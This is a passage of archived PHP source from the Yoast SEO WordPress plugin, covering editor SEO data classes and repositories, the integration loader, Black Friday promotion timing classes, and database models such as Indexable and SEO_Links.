	public function to_array(): array {
		return [
			'description_template' => $this->description_template,
			'description_date'     => $this->description_date,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'metadesc_template'   => $this->description_template,
			'metaDescriptionDate' => $this->description_date,
		];
	}
}
wordpress-seo/src/editors/domain/seo/social.php000064400000004571147510273100015647 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the social SEO data.
 */
class Social implements Seo_Plugin_Data_Interface {

	/**
	 * The Social title template.
	 *
	 * @var string $social_title_template
	 */
	private $social_title_template;

	/**
	 * The Social description template.
	 *
	 * @var string $social_description_template
	 */
	private $social_description_template;

	/**
	 * The Social image template.
	 *
	 * @var string $social_image_template
	 */
	private $social_image_template;

	/**
	 * The first content image for the social preview.
	 *
	 * @var string $social_first_content_image
	 */
	private $social_first_content_image;

	/**
	 * The constructor.
	 *
	 * @param string $social_title_template       The Social title template.
	 * @param string $social_description_template The Social description template.
	 * @param string $social_image_template       The Social image template.
	 * @param string $social_first_content_image  The first content image for the social preview.
	 */
	public function __construct(
		string $social_title_template,
		string $social_description_template,
		string $social_image_template,
		string $social_first_content_image
	) {
		$this->social_title_template       = $social_title_template;
		$this->social_description_template = $social_description_template;
		$this->social_image_template       = $social_image_template;
		$this->social_first_content_image  = $social_first_content_image;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'social_title_template'              => $this->social_title_template,
			'social_description_template'        => $this->social_description_template,
			'social_image_template'              => $this->social_image_template,
			'first_content_image_social_preview' => $this->social_first_content_image,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'social_title_template'       => $this->social_title_template,
			'social_description_template' => $this->social_description_template,
			'social_image_template'       => $this->social_image_template,
			'first_content_image'         => $this->social_first_content_image,
		];
	}
}
wordpress-seo/src/editors/application/integrations/integration-information-repository.php000064400000002053147510273100026425 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Integrations;

use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * The repository to get all enabled integrations.
 *
 * @makePublic
 */
class Integration_Information_Repository {

	/**
	 * All plugin integrations.
	 *
	 * @var Integration_Data_Provider_Interface[] $plugin_integrations
	 */
	private $plugin_integrations;

	/**
	 * The constructor.
	 *
	 * @param Integration_Data_Provider_Interface ...$plugin_integrations All integrations.
	 */
	public function __construct( Integration_Data_Provider_Interface ...$plugin_integrations ) {
		$this->plugin_integrations = $plugin_integrations;
	}

	/**
	 * Returns the analysis list.
	 *
	 * @return array<array<string,bool>> The parsed list.
	 */
	public function get_integration_information(): array {
		$array = [];
		foreach ( $this->plugin_integrations as $feature ) {
			$array = \array_merge( $array, $feature->to_legacy_array() );
		}
		return $array;
	}
}
wordpress-seo/src/editors/application/seo/post-seo-information-repository.php000064400000002443147510273100023736 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Seo;

use WP_Post;
use Yoast\WP\SEO\Editors\Framework\Seo\Posts\Abstract_Post_Seo_Data_Provider;

/**
 * The repository to get post related SEO data.
 *
 * @makePublic
 */
class Post_Seo_Information_Repository {

	/**
	 * The post.
	 *
	 * @var WP_Post $post
	 */
	private $post;

	/**
	 * The data providers.
	 *
	 * @var Abstract_Post_Seo_Data_Provider $seo_data_providers
	 */
	private $seo_data_providers;

	/**
	 * The constructor.
	 *
	 * @param Abstract_Post_Seo_Data_Provider ...$seo_data_providers The providers.
	 */
	public function __construct( Abstract_Post_Seo_Data_Provider ...$seo_data_providers ) {
		$this->seo_data_providers = $seo_data_providers;
	}

	/**
	 * The post.
	 *
	 * @param WP_Post $post The post.
	 *
	 * @return void
	 */
	public function set_post( WP_Post $post ) {
		$this->post = $post;
	}

	/**
	 * Method to return the compiled SEO data.
	 *
	 * @return array<string> The specific seo data.
	 */
	public function get_seo_data(): array {
		$array = [];
		foreach ( $this->seo_data_providers as $data_provider ) {
			$data_provider->set_post( $this->post );
			$array = \array_merge( $array, $data_provider->get_data()->to_legacy_array() );
		}
		return $array;
	}
}
wordpress-seo/src/editors/application/seo/term-seo-information-repository.php000064400000002452147510273100023720 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Seo;

use WP_Term;
use Yoast\WP\SEO\Editors\Framework\Seo\Terms\Abstract_Term_Seo_Data_Provider;

/**
 * The repository to get term related SEO data.
 *
 * @makePublic
 */
class Term_Seo_Information_Repository {

	/**
	 * The term.
	 *
	 * @var WP_Term $term
	 */
	private $term;

	/**
	 * The data providers.
	 *
	 * @var Abstract_Term_Seo_Data_Provider $seo_data_providers
	 */
	private $seo_data_providers;

	/**
	 * The constructor.
	 *
	 * @param Abstract_Term_Seo_Data_Provider ...$seo_data_providers The providers.
	 */
	public function __construct( Abstract_Term_Seo_Data_Provider ...$seo_data_providers ) {
		$this->seo_data_providers = $seo_data_providers;
	}

	/**
	 * The term.
	 *
	 * @param WP_Term $term The term.
	 *
	 * @return void
	 */
	public function set_term( WP_Term $term ): void {
		$this->term = $term;
	}

	/**
	 * Method to return the compiled SEO data.
	 *
	 * @return array<string> The specific seo data.
	 */
	public function get_seo_data(): array {
		$array = [];
		foreach ( $this->seo_data_providers as $data_provider ) {
			$data_provider->set_term( $this->term );
			$array = \array_merge( $array, $data_provider->get_data()->to_legacy_array() );
		}

		return $array;
	}
}
wordpress-seo/src/editors/application/analysis-features/enabled-analysis-features-repository.php000064400000004441147510273100027542 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Analysis_Features;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature;
use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Features_List;

/**
 * The repository to get all enabled features.
 *
 * @makePublic
 */
class Enabled_Analysis_Features_Repository {

	/**
	 * All plugin features.
	 *
	 * @var Analysis_Feature_Interface[]
	 */
	private $plugin_features;

	/**
	 * The list of analysis features.
	 *
	 * @var Analysis_Features_List
	 */
	private $enabled_analysis_features;

	/**
	 * The constructor.
	 *
	 * @param Analysis_Feature_Interface ...$plugin_features All analysis objects.
	 */
	public function __construct( Analysis_Feature_Interface ...$plugin_features ) {
		$this->enabled_analysis_features = new Analysis_Features_List();
		$this->plugin_features           = $plugin_features;
	}

	/**
	 * Returns the analysis list.
	 *
	 * @return Analysis_Features_List The analysis list.
	 */
	public function get_enabled_features(): Analysis_Features_List {
		if ( \count( $this->enabled_analysis_features->parse_to_legacy_array() ) === 0 ) {
			foreach ( $this->plugin_features as $plugin_feature ) {
				$analysis_feature = new Analysis_Feature( $plugin_feature->is_enabled(), $plugin_feature->get_name(), $plugin_feature->get_legacy_key() );
				$this->enabled_analysis_features->add_feature( $analysis_feature );
			}
		}

		return $this->enabled_analysis_features;
	}

	/**
	 * Returns the analysis list for the given names.
	 *
	 * @param array<string> $feature_names The feature names to include.
	 *
	 * @return Analysis_Features_List The analysis list.
	 */
	public function get_features_by_keys( array $feature_names ): Analysis_Features_List {
		$enabled_analysis_features = new Analysis_Features_List();

		foreach ( $this->plugin_features as $plugin_feature ) {
			if ( \in_array( $plugin_feature->get_name(), $feature_names, true ) ) {
				$analysis_feature = new Analysis_Feature( $plugin_feature->is_enabled(), $plugin_feature->get_name(), $plugin_feature->get_legacy_key() );
				$enabled_analysis_features->add_feature( $analysis_feature );
			}
		}

		return $enabled_analysis_features;
	}
}
wordpress-seo/src/editors/application/site/website-information-repository.php000064400000002772147510273100024012 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Application\Site;

use Yoast\WP\SEO\Editors\Framework\Site\Post_Site_Information;
use Yoast\WP\SEO\Editors\Framework\Site\Term_Site_Information;

/**
 * This class manages getting the two site information wrappers.
 *
 * @makePublic
 */
class Website_Information_Repository {

	/**
	 * The post site information wrapper.
	 *
	 * @var Post_Site_Information $post_site_information
	 */
	private $post_site_information;

	/**
	 * The term site information wrapper.
	 *
	 * @var Term_Site_Information $term_site_information
	 */
	private $term_site_information;

	/**
	 * The constructor.
	 *
	 * @param Post_Site_Information $post_site_information The post specific wrapper.
	 * @param Term_Site_Information $term_site_information The term specific wrapper.
	 */
	public function __construct(
		Post_Site_Information $post_site_information,
		Term_Site_Information $term_site_information
	) {
		$this->post_site_information = $post_site_information;
		$this->term_site_information = $term_site_information;
	}

	/**
	 * Returns the Post Site Information container.
	 *
	 * @return Post_Site_Information
	 */
	public function get_post_site_information(): Post_Site_Information {
		return $this->post_site_information;
	}

	/**
	 * Returns the Term Site Information container.
	 *
	 * @return Term_Site_Information
	 */
	public function get_term_site_information(): Term_Site_Information {
		return $this->term_site_information;
	}
}
wordpress-seo/src/loader.php000064400000015166147510273100012137 0ustar00<?php

namespace Yoast\WP\SEO;

use Throwable;
use WP_CLI;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class that manages loading integrations if and only if all their conditionals are met.
 */
class Loader {

	/**
	 * The registered integrations.
	 *
	 * @var string[]
	 */
	protected $integrations = [];

	/**
	 * The registered integrations.
	 *
	 * @var string[]
	 */
	protected $initializers = [];

	/**
	 * The registered routes.
	 *
	 * @var string[]
	 */
	protected $routes = [];

	/**
	 * The registered commands.
	 *
	 * @var string[]
	 */
	protected $commands = [];

	/**
	 * The registered migrations.
	 *
	 * @var string[]
	 */
	protected $migrations = [];

	/**
	 * The dependency injection container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Registers an integration.
	 *
	 * @param string $integration_class The class name of the integration to be loaded.
	 *
	 * @return void
	 */
	public function register_integration( $integration_class ) {
		$this->integrations[] = $integration_class;
	}

	/**
	 * Registers an initializer.
	 *
	 * @param string $initializer_class The class name of the initializer to be loaded.
	 *
	 * @return void
	 */
	public function register_initializer( $initializer_class ) {
		$this->initializers[] = $initializer_class;
	}

	/**
	 * Registers a route.
	 *
	 * @param string $route_class The class name of the route to be loaded.
	 *
	 * @return void
	 */
	public function register_route( $route_class ) {
		$this->routes[] = $route_class;
	}

	/**
	 * Registers a command.
	 *
	 * @param string $command_class The class name of the command to be loaded.
	 *
	 * @return void
	 */
	public function register_command( $command_class ) {
		$this->commands[] = $command_class;
	}

	/**
	 * Registers a migration.
	 *
	 * @param string $plugin          The plugin the migration belongs to.
	 * @param string $version         The version of the migration.
	 * @param string $migration_class The class name of the migration to be loaded.
	 *
	 * @return void
	 */
	public function register_migration( $plugin, $version, $migration_class ) {
		if ( ! \array_key_exists( $plugin, $this->migrations ) ) {
			$this->migrations[ $plugin ] = [];
		}

		$this->migrations[ $plugin ][ $version ] = $migration_class;
	}

	/**
	 * Loads all registered classes if their conditionals are met.
	 *
	 * @return void
	 */
	public function load() {
		$this->load_initializers();

		if ( ! \did_action( 'init' ) ) {
			\add_action( 'init', [ $this, 'load_integrations' ] );
		}
		else {
			$this->load_integrations();
		}

		\add_action( 'rest_api_init', [ $this, 'load_routes' ] );

		if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
			$this->load_commands();
		}
	}

	/**
	 * Returns all registered migrations.
	 *
	 * @param string $plugin The plugin to get the migrations for.
	 *
	 * @return string[]|false The registered migrations. False if no migrations were registered.
	 */
	public function get_migrations( $plugin ) {
		if ( ! \array_key_exists( $plugin, $this->migrations ) ) {
			return false;
		}

		return $this->migrations[ $plugin ];
	}

	/**
	 * Loads all registered commands.
	 *
	 * @return void
	 */
	protected function load_commands() {
		foreach ( $this->commands as $class ) {
			$command = $this->get_class( $class );

			if ( $command === null ) {
				continue;
			}

			WP_CLI::add_command( $class::get_namespace(), $command );
		}
	}

	/**
	 * Loads all registered initializers if their conditionals are met.
	 *
	 * @return void
	 */
	protected function load_initializers() {
		foreach ( $this->initializers as $class ) {
			if ( ! $this->conditionals_are_met( $class ) ) {
				continue;
			}

			$initializer = $this->get_class( $class );

			if ( $initializer === null ) {
				continue;
			}

			$initializer->initialize();
		}
	}

	/**
	 * Loads all registered integrations if their conditionals are met.
	 *
	 * @return void
	 */
	public function load_integrations() {
		foreach ( $this->integrations as $class ) {
			if ( ! $this->conditionals_are_met( $class ) ) {
				continue;
			}

			$integration = $this->get_class( $class );

			if ( $integration === null ) {
				continue;
			}

			$integration->register_hooks();
		}
	}

	/**
	 * Loads all registered routes if their conditionals are met.
	 *
	 * @return void
	 */
	public function load_routes() {
		foreach ( $this->routes as $class ) {
			if ( ! $this->conditionals_are_met( $class ) ) {
				continue;
			}

			$route = $this->get_class( $class );

			if ( $route === null ) {
				continue;
			}

			$route->register_routes();
		}
	}

	/**
	 * Checks if all conditionals of a given loadable are met.
	 *
	 * @param string $loadable_class The class name of the loadable.
	 *
	 * @return bool Whether all conditionals of the loadable are met.
	 */
	protected function conditionals_are_met( $loadable_class ) {
		// In production environments do not fatal if the class does not exist but log and fail gracefully.
		if ( \YOAST_ENVIRONMENT === 'production' && ! \class_exists( $loadable_class ) ) {
			if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) {
				// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
				\error_log(
					\sprintf(
						/* translators: %1$s expands to Yoast SEO, %2$s expands to the name of the class that could not be found. */
						\__( '%1$s attempted to load the class %2$s but it could not be found.', 'wordpress-seo' ),
						'Yoast SEO',
						$loadable_class
					)
				);
			}
			return false;
		}

		$conditionals = $loadable_class::get_conditionals();
		foreach ( $conditionals as $class ) {
			$conditional = $this->get_class( $class );
			if ( $conditional === null || ! $conditional->is_met() ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Gets a class from the container.
	 *
	 * @param string $class_name The class name.
	 *
	 * @return object|null The class or, in production environments, null if it does not exist.
	 *
	 * @throws Throwable If the class does not exist in development environments.
	 */
	protected function get_class( $class_name ) {
		try {
			return $this->container->get( $class_name );
		} catch ( Throwable $e ) {
			// In production environments do not fatal if the class could not be constructed but log and fail gracefully.
			if ( \YOAST_ENVIRONMENT === 'production' ) {
				if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) {
					// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
					\error_log( $e->getMessage() );
				}
				return null;
			}
			throw $e;
		}
	}
}
wordpress-seo/src/wordpress/wrapper.php000064400000002702147510273100014371 0ustar00<?php

namespace Yoast\WP\SEO\WordPress;

use wpdb;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Replace_Vars;
use WPSEO_Shortlinker;
use WPSEO_Utils;

/**
 * Wrapper class for WordPress globals.
 *
 * This consists of factory functions to inject WP globals into the dependency container.
 */
class Wrapper {

	/**
	 * Wrapper method for returning the wpdb object for use in dependency injection.
	 *
	 * @return wpdb The wpdb global.
	 */
	public static function get_wpdb() {
		global $wpdb;

		return $wpdb;
	}

	/**
	 * Factory function for replace vars helper.
	 *
	 * @return WPSEO_Replace_Vars The replace vars helper.
	 */
	public static function get_replace_vars() {
		return new WPSEO_Replace_Vars();
	}

	/**
	 * Factory function for the admin asset manager.
	 *
	 * @return WPSEO_Admin_Asset_Manager The admin asset manager.
	 */
	public static function get_admin_asset_manager() {
		return new WPSEO_Admin_Asset_Manager();
	}

	/**
	 * Factory function for the addon manager.
	 *
	 * @return WPSEO_Addon_Manager The addon manager.
	 */
	public static function get_addon_manager() {
		return new WPSEO_Addon_Manager();
	}

	/**
	 * Factory function for the shortlinker.
	 *
	 * @return WPSEO_Shortlinker
	 */
	public static function get_shortlinker() {
		return new WPSEO_Shortlinker();
	}

	/**
	 * Factory function for the utils class.
	 *
	 * @return WPSEO_Utils
	 */
	public static function get_utils() {
		return new WPSEO_Utils();
	}
}
wordpress-seo/src/loadable-interface.php000064400000000436147510273100014364 0ustar00<?php

namespace Yoast\WP\SEO;

/**
 * An interface for registering integrations with WordPress
 */
interface Loadable_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals();
}
wordpress-seo/src/promotions/application/promotion-manager-interface.php000064400000000773147510273100022777 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Application;

/**
 * Interface for the promotion manager.
 */
interface Promotion_Manager_Interface {

	/**
	 * Whether the promotion is effective.
	 *
	 * @param string $promotion_name The name of the promotion.
	 *
	 * @return bool Whether the promotion is effective.
	 */
	public function is( string $promotion_name ): bool;

	/**
	 * Get the list of promotions.
	 *
	 * @return array The list of promotions.
	 */
	public function get_promotions_list(): array;
}
wordpress-seo/src/promotions/application/promotion-manager.php000064400000003310147510273100021027 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Application;

use Yoast\WP\SEO\Promotions\Domain\Promotion_Interface;

/**
 * Class to manage promotional promotions.
 *
 * @makePublic
 */
class Promotion_Manager implements Promotion_Manager_Interface {

	/**
	 * The centralized list of promotions: all promotions should be passed to the constructor.
	 *
	 * @var array<Abstract_Promotion>
	 */
	private $promotions_list = [];

	/**
	 * Class constructor.
	 *
	 * @param Promotion_Interface ...$promotions List of promotions.
	 */
	public function __construct( Promotion_Interface ...$promotions ) {
		$this->promotions_list = $promotions;
	}

	/**
	 * Whether the promotion is effective.
	 *
	 * @param string $promotion_name The name of the promotion.
	 *
	 * @return bool Whether the promotion is effective.
	 */
	public function is( string $promotion_name ): bool {
		$time = \time();

		foreach ( $this->promotions_list as $promotion ) {
			if ( $promotion->get_promotion_name() === $promotion_name ) {
				return $promotion->get_time_interval()->contains( $time );
			}
		}

		return false;
	}

	/**
	 * Get the list of promotions.
	 *
	 * @return array<Abstract_Promotion> The list of promotions.
	 */
	public function get_promotions_list(): array {
		return $this->promotions_list;
	}

	/**
	 * Get the names of currently active promotions.
	 *
	 * @return array<string> The list of promotions.
	 */
	public function get_current_promotions(): array {
		$current_promotions = [];
		$time               = \time();
		foreach ( $this->promotions_list as $promotion ) {
			if ( $promotion->get_time_interval()->contains( $time ) ) {
				$current_promotions[] = $promotion->get_promotion_name();
			}
		}

		return $current_promotions;
	}
}
wordpress-seo/src/promotions/domain/promotion-interface.php000064400000000171147510273100020323 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Domain;

/**
 * Interface for a Promotion.
 */
interface Promotion_Interface {}
wordpress-seo/src/promotions/domain/black-friday-checklist-promotion.php000064400000000713147510273100022664 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Domain;

/**
 * Class to manage the Black Friday checklist promotion.
 */
class Black_Friday_Checklist_Promotion extends Abstract_Promotion implements Promotion_Interface {

	/**
	 * Class constructor.
	 */
	public function __construct() {
		parent::__construct(
			'black-friday-2023-checklist',
			new Time_Interval(
				\gmmktime( 11, 00, 00, 9, 19, 2023 ),
				\gmmktime( 11, 00, 00, 10, 31, 2023 )
			)
		);
	}
}
wordpress-seo/src/promotions/domain/time-interval.php000064400000002545147510273100017126 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Domain;

/**
 * Class Time_Interval
 *
 * Value object for a time interval.
 */
class Time_Interval {

	/**
	 * The starting time of the interval as a Unix timestamp.
	 *
	 * @var int
	 */
	public $time_start;

	/**
	 * The ending time of the interval as a Unix timestamp.
	 *
	 * @var int
	 */
	public $time_end;

	/**
	 * Time_Interval constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param int $time_start Interval start time.
	 * @param int $time_end   Interval end time.
	 */
	public function __construct( int $time_start, int $time_end ) {
		$this->time_start = $time_start;
		$this->time_end   = $time_end;
	}

	/**
	 * Checks if the given time is within the interval.
	 *
	 * @param int $time The time to check.
	 *
	 * @return bool Whether the given time is within the interval.
	 */
	public function contains( int $time ): bool {
		return ( ( $time > $this->time_start ) && ( $time < $this->time_end ) );
	}

	/**
	 * Sets the interval astarting date.
	 *
	 * @param int $time_start The interval start time.
	 *
	 * @return void
	 */
	public function set_start_date( int $time_start ) {
		$this->time_start = $time_start;
	}

	/**
	 * Sets the interval ending date.
	 *
	 * @param int $time_end The interval end time.
	 *
	 * @return void
	 */
	public function set_end_date( int $time_end ) {
		$this->time_end = $time_end;
	}
}
wordpress-seo/src/promotions/domain/black-friday-promotion.php000064400000000654147510273100020721 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Domain;

/**
 * Class to manage the Black Friday promotion.
 */
class Black_Friday_Promotion extends Abstract_Promotion implements Promotion_Interface {

	/**
	 * Class constructor.
	 */
	public function __construct() {
		parent::__construct(
			'black-friday-2024-promotion',
			new Time_Interval( \gmmktime( 10, 00, 00, 11, 28, 2024 ), \gmmktime( 10, 00, 00, 12, 3, 2024 ) )
		);
	}
}
wordpress-seo/src/promotions/domain/abstract-promotion.php000064400000002030147510273100020162 0ustar00<?php

namespace Yoast\WP\SEO\Promotions\Domain;

/**
 * Abstract class for a promotion.
 */
abstract class Abstract_Promotion implements Promotion_Interface {

	/**
	 * The promotion name.
	 *
	 * @var string
	 */
	private $promotion_name;

	/**
	 * The time interval in which the promotion is active.
	 *
	 * @var Time_Interval
	 */
	private $time_interval;

	/**
	 * Class constructor.
	 *
	 * @param string        $promotion_name The promotion name.
	 * @param Time_Interval $time_interval  The time interval in which the promotion is active.
	 */
	public function __construct( string $promotion_name, Time_Interval $time_interval ) {
		$this->promotion_name = $promotion_name;
		$this->time_interval  = $time_interval;
	}

	/**
	 * Returns the promotion name.
	 *
	 * @return string
	 */
	public function get_promotion_name() {
		return $this->promotion_name;
	}

	/**
	 * Returns the time interval in which the promotion is active.
	 *
	 * @return Time_Interval
	 */
	public function get_time_interval() {
		return $this->time_interval;
	}
}
wordpress-seo/src/models/indexable.php000064400000012413147510273100014077 0ustar00<?php

namespace Yoast\WP\SEO\Models;

use Yoast\WP\Lib\Model;

/**
 * Indexable table definition.
 *
 * @property int    $id
 * @property int    $object_id
 * @property string $object_type
 * @property string $object_sub_type
 *
 * @property int    $author_id
 * @property int    $post_parent
 *
 * @property string $created_at
 * @property string $updated_at
 *
 * @property string $permalink
 * @property string $permalink_hash
 * @property string $canonical
 *
 * @property bool   $is_robots_noindex
 * @property bool   $is_robots_nofollow
 * @property bool   $is_robots_noarchive
 * @property bool   $is_robots_noimageindex
 * @property bool   $is_robots_nosnippet
 *
 * @property string $title
 * @property string $description
 * @property string $breadcrumb_title
 *
 * @property bool   $is_cornerstone
 *
 * @property string $primary_focus_keyword
 * @property int    $primary_focus_keyword_score
 *
 * @property int    $readability_score
 *
 * @property int    $inclusive_language_score
 *
 * @property int    $link_count
 * @property int    $incoming_link_count
 * @property int    $number_of_pages
 *
 * @property string $open_graph_title
 * @property string $open_graph_description
 * @property string $open_graph_image
 * @property string $open_graph_image_id
 * @property string $open_graph_image_source
 * @property string $open_graph_image_meta
 *
 * @property string $twitter_title
 * @property string $twitter_description
 * @property string $twitter_image
 * @property string $twitter_image_id
 * @property string $twitter_image_source
 * @property string $twitter_card
 *
 * @property int    $prominent_words_version
 *
 * @property bool   $is_public
 * @property bool   $is_protected
 * @property string $post_status
 * @property bool   $has_public_posts
 *
 * @property int    $blog_id
 *
 * @property string $language
 * @property string $region
 *
 * @property string $schema_page_type
 * @property string $schema_article_type
 *
 * @property bool   $has_ancestors
 *
 * @property int    $estimated_reading_time_minutes
 *
 * @property string $object_last_modified
 * @property string $object_published_at
 *
 * @property int    $version
 */
class Indexable extends Model {

	/**
	 * Holds the ancestors.
	 *
	 * @var Indexable[]
	 */
	public $ancestors = [];

	/**
	 * Whether nor this model uses timestamps.
	 *
	 * @var bool
	 */
	protected $uses_timestamps = true;

	/**
	 * Which columns contain boolean values.
	 *
	 * @var array
	 */
	protected $boolean_columns = [
		'is_robots_noindex',
		'is_robots_nofollow',
		'is_robots_noarchive',
		'is_robots_noimageindex',
		'is_robots_nosnippet',
		'is_cornerstone',
		'is_public',
		'is_protected',
		'has_public_posts',
		'has_ancestors',
	];

	/**
	 * Which columns contain int values.
	 *
	 * @var array
	 */
	protected $int_columns = [
		'id',
		'object_id',
		'author_id',
		'post_parent',
		'primary_focus_keyword_score',
		'readability_score',
		'inclusive_language_score',
		'link_count',
		'incoming_link_count',
		'number_of_pages',
		'prominent_words_version',
		'blog_id',
		'estimated_reading_time_minutes',
		'version',
	];

	/**
	 * The loaded indexable extensions.
	 *
	 * @var Indexable_Extension[]
	 */
	protected $loaded_extensions = [];

	/**
	 * Returns an Indexable_Extension by its name.
	 *
	 * @param string $class_name The class name of the extension to load.
	 *
	 * @return Indexable_Extension|bool The extension.
	 */
	public function get_extension( $class_name ) {
		if ( ! $this->loaded_extensions[ $class_name ] ) {
			$this->loaded_extensions[ $class_name ] = $this->has_one( $class_name, 'indexable_id', 'id' )->find_one();
		}

		return $this->loaded_extensions[ $class_name ];
	}

	/**
	 * Enhances the save method.
	 *
	 * @return bool True on success.
	 */
	public function save() {
		if ( $this->permalink ) {
			$this->sanitize_permalink();
			$this->permalink_hash = \strlen( $this->permalink ) . ':' . \md5( $this->permalink );
		}
		if ( \is_string( $this->primary_focus_keyword ) && \mb_strlen( $this->primary_focus_keyword ) > 191 ) {
			$this->primary_focus_keyword = \mb_substr( $this->primary_focus_keyword, 0, 191, 'UTF-8' );
		}

		return parent::save();
	}

	/**
	 * Sanitizes the permalink.
	 *
	 * @return void
	 */
	protected function sanitize_permalink() {
		if ( $this->permalink === 'unindexed' ) {
			return;
		}

		$permalink_structure = \get_option( 'permalink_structure' );
		$permalink_parts     = \wp_parse_url( $this->permalink );

		if ( ! isset( $permalink_parts['path'] ) ) {
			$permalink_parts['path'] = '/';
		}
		if ( \substr( $permalink_structure, -1, 1 ) === '/' && \strpos( \substr( $permalink_parts['path'], -5 ), '.' ) === false ) {
			$permalink_parts['path'] = \trailingslashit( $permalink_parts['path'] );
		}

		$permalink = '';
		if ( isset( $permalink_parts['scheme'] ) ) {
			$permalink .= $permalink_parts['scheme'] . '://';
		}
		if ( isset( $permalink_parts['host'] ) ) {
			$permalink .= $permalink_parts['host'];
		}
		if ( isset( $permalink_parts['port'] ) ) {
			$permalink .= ':' . $permalink_parts['port'];
		}
		if ( isset( $permalink_parts['path'] ) ) {
			$permalink .= $permalink_parts['path'];
		}
		if ( isset( $permalink_parts['query'] ) ) {
			$permalink .= '?' . $permalink_parts['query'];
		}
		// We never set the fragment as the fragment is intended to be client-only.
		$this->permalink = $permalink;
	}
}
wordpress-seo/src/models/seo-links.php000064400000002416147510273100014052 0ustar00<?php

namespace Yoast\WP\SEO\Models;

use Yoast\WP\Lib\Model;

/**
 * Table definition for the SEO Links table.
 *
 * @property int    $id
 * @property string $url
 * @property int    $post_id
 * @property int    $target_post_id
 * @property string $type
 * @property int    $indexable_id
 * @property int    $target_indexable_id
 * @property int    $height
 * @property int    $width
 * @property int    $size
 * @property string $language
 * @property string $region
 */
class SEO_Links extends Model {

	/**
	 * Indicates that the link is external.
	 *
	 * @var string
	 */
	public const TYPE_INTERNAL = 'internal';

	/**
	 * Indicates that the link is internal.
	 *
	 * @var string
	 */
	public const TYPE_EXTERNAL = 'external';

	/**
	 * Indicates the link is an internal image.
	 *
	 * @var string
	 */
	public const TYPE_INTERNAL_IMAGE = 'image-in';

	/**
	 * Indicates the link is an external image.
	 *
	 * @var string
	 */
	public const TYPE_EXTERNAL_IMAGE = 'image-ex';

	/**
	 * Holds the parsed URL. May not be set.
	 *
	 * @var array
	 */
	public $parsed_url;

	/**
	 * Which columns contain int values.
	 *
	 * @var array
	 */
	protected $int_columns = [
		'id',
		'post_id',
		'target_post_id',
		'indexable_id',
		'target_indexable_id',
		'height',
		'width',
		'size',
	];
}
wordpress-seo/src/models/indexable-hierarchy.php000064400000001111147510273100016044 0ustar00<?php

namespace Yoast\WP\SEO\Models;

use Yoast\WP\Lib\Model;

/**
 * Indexable Hierarchy model definition.
 *
 * @property int $indexable_id The ID of the indexable.
 * @property int $ancestor_id  The ID of the indexable's ancestor.
 * @property int $depth        The depth of the ancestry. 1 being a parent, 2 being a grandparent etc.
 * @property int $blog_id      Blog ID.
 */
class Indexable_Hierarchy extends Model {

	/**
	 * Which columns contain int values.
	 *
	 * @var array
	 */
	protected $int_columns = [
		'indexable_id',
		'ancestor_id',
		'depth',
		'blog_id',
	];
}
wordpress-seo/src/models/seo-meta.php000064400000001030147510273100013647 0ustar00<?php

namespace Yoast\WP\SEO\Models;

use Yoast\WP\Lib\Model;

/**
 * Table definition for the SEO Meta table.
 *
 * @property int $object_id
 * @property int $internal_link_count
 * @property int $incoming_link_count
 */
class SEO_Meta extends Model {

	/**
	 * Overwrites the default ID column name.
	 *
	 * @var string
	 */
	public static $id_column = 'object_id';

	/**
	 * Which columns contain int values.
	 *
	 * @var array
	 */
	protected $int_columns = [
		'object_id',
		'internal_link_count',
		'incoming_link_count',
	];
}
wordpress-seo/src/models/indexable-extension.php000064400000001065147510273100016112 0ustar00<?php

namespace Yoast\WP\SEO\Models;

use Yoast\WP\Lib\Model;

/**
 * Abstract class for indexable extensions.
 */
abstract class Indexable_Extension extends Model {

	/**
	 * Holds the Indexable instance.
	 *
	 * @var Indexable
	 */
	protected $indexable = null;

	/**
	 * Returns the indexable this extension belongs to.
	 *
	 * @return Indexable The indexable.
	 */
	public function indexable() {
		if ( $this->indexable === null ) {
